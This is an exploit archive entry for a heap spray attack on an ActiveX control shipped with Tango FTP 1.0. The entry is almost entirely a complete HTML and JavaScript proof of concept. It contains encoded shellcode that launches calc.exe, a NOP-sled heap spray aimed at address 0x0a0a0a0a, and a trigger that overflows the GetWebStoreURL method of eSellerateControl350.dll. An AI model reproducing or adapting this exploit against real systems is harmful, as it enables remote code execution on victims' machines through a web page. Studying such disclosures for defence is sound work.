Tango FTP 1.0 Active-X Heap Spray

2015.06.20
Credit: metacom
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

<HTML> <BODY> <input language=JavaScript onclick=Tryme() type=button value="Launch Calc"> <object id=boom classid="clsid:{25982EAA-87CC-4747-BE09-9913CF7DD2F1}"></object> <br>Tango FTP Activex Heap Spray Exploit</br> <br>Version:1.0(Build 136)</br> <br>The vulnerability lies in the COM component used eSellerateControl350.dll (3.6.5.0) method of the ''GetWebStoreURL' member.</br> <br>Vendor Homepage:http://www.tangoftp.com/index.html</br> <br>Software Link:http://www.tangoftp.com/downloads/index.html</br> <br>Author: metacom</br> <!--Video Poc:http://bit.ly/1fjtq89 --> <SCRIPT> var heapspray=unescape( "%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" + "%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" + "%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" + "%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" + "%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" + "%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" + "%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" + "%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" + "%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" + "%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" + "%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" + "%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" + "%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" + "%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" + "%u652E%u6578%u9000"); var sprayContainer = unescape("%u9090%u9090"); var heapToAddress = 0x0a0a0a0a; function Tryme() { var size_buff = 5000; var x = unescape("%0a%0a%0a%0a"); while (x.length<size_buff) x += x; x = x.substring(0,size_buff); boom.GetWebStoreURL(x, 1); } function getsprayContainer(sprayContainer, sprayContainerSize) { while (sprayContainer.length*2<sprayContainerSize) { sprayContainer += sprayContainer; } sprayContainer = sprayContainer.substring(0,sprayContainerSize/2); return (sprayContainer); } var heapBlockSize = 0x500000; var SizeOfHeap = 0x30; var payLoadSize = (heapspray.length * 2); var sprayContainerSize = heapBlockSize - (payLoadSize + SizeOfHeap); var heapBlocks = (heapToAddress+heapBlockSize)/heapBlockSize; var memory = new Array(); sprayContainer = getsprayContainer(sprayContainer,sprayContainerSize); for (i=0;i<heapBlocks;i++) { memory[i] = sprayContainer + heapspray; } </SCRIPT> </BODY> </HTML>

References:

http://bit.ly/1fjtq89


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